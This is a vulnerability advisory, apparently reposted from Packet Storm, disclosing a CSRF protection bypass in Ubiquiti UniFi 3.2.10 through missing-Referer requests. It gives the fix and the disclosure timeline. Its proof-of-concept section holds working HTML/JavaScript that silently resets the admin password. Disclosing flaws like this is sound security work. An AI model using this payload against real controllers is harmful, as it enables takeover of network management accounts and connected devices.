Ubiquiti Networks UniFi 3.2.10 Cross Site Request Forgery

🗓️ 25 Feb 2016 00:00:00Reported by Julien AhrensType

packetstorm🔗 packetstormsecurity.com👁 32 Views

Ubiquiti UniFi Cross-Site Request Forgery v3.2.1

`RCE Security Advisory  
https://www.rcesecurity.com  
  
  
1. ADVISORY INFORMATION  
-----------------------  
Product: Ubiquiti Networks UniFi  
Vendor URL: www.ubnt.com  
Type: Cross-Site Request Forgery [CWE-353]  
Date found: 2015-03-19  
Date published: 2016-02-23  
CVSSv3 Score: 6.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)  
CVE: -  
  
  
2. CREDITS  
----------  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.  
  
  
3. VERSIONS AFFECTED  
--------------------  
UniFi v3.2.10  
older versions may be affected too.  
  
  
4. INTRODUCTION  
---------------  
The UniFi® Controller software is a powerful, enterprise wireless software  
engine ideal for high-density client deployments requiring low latency and  
high uptime performance. A single UniFi Controller running in the cloud  
can manage multiple sites: multiple, distributed deployments and  
multi-tenancy for managed service providers.  
  
(from the vendor's homepage)  
  
  
5. VULNERABILITY DESCRIPTION  
----------------------------  
A generic Cross-Site Request Forgery protection bypass vulnerability was  
identified in UniFi v3.2.10 and prior.  
  
The application uses a CSRF protection, which is based on verifying the  
Referer header, but does not catch the case where the Referer header  
is completely missing.  
  
This leads to a generic CSRF protection bypass, resulting in all  
application specific functionalities becoming vulnerable. An attacker needs  
to trick the victim to visit an arbitrary website in order to exploit the  
vulnerability. Successful exploits can allow the attacker to compromise the  
whole application including connected devices, e.g. by changing passwords  
of users, adding new users, changing device usernames and passwords or by  
creating new WLAN configurations.  
  
  
6. PROOF-OF-CONCEPT  
-------------------  
The following PoC changes the password of the user "admin" to "csrfpwd":  
  
<html>  
<head>  
<script>  
function load() {  
var postdata = '<form id=csrf method=POST enctype=\'text\/plain\'   
action=\'https://127.0.0.1:8443/api/s/default/cmd/sitemgr\'>' +  
'<input type=hidden   
name=\'json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40mail.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D\'   
value=\'\' />' +  
'</form>';  
top.frames[0].document.body.innerHTML=postdata;  
top.frames[0].document.getElementById('csrf').submit();  
}  
</script>  
</head>  
<body onload="load()">  
<iframe src="about:blank" id="noreferer">< /iframe>  
</body>  
</html>  
  
  
7. SOLUTION  
-----------  
Upgrade to UniFi v4.7.5 or later  
  
  
8. REPORT TIMELINE  
------------------  
2015-03-19: Discovery of the vulnerability  
2015-03-10: Reported via Ubiquiti's Bug Bounty program (hackerone.com)  
2015-06-02: Vendor apologizes his backlog  
2015-09-28: Asking for status update via HackerOne  
2015-09-28: Vendor asks to test against version 4.7.5  
2015-10-02: Verified working fix for v4.7.5  
2015-10-23: Vendor changes status to "Resolved"  
2015-11-24: Asking for coordinated disclosure via email  
2015-12-08: No response from vendor  
2015-12-08: Requested public disclosure on HackerOne  
2016-01-08: Report is published automatically  
2016-02-23: Advisory released  
  
  
9. REFERENCES  
-------------  
https://www.rcesecurity.com/2016/02/ubiquiti-bug-bounty-unifi-v3-2-10-generic-csrf-protection-bypass  
https://hackerone.com/reports/52635  
`

25 Feb 2016 00:00Current

0.2Low risk

Vulners AI Score0.2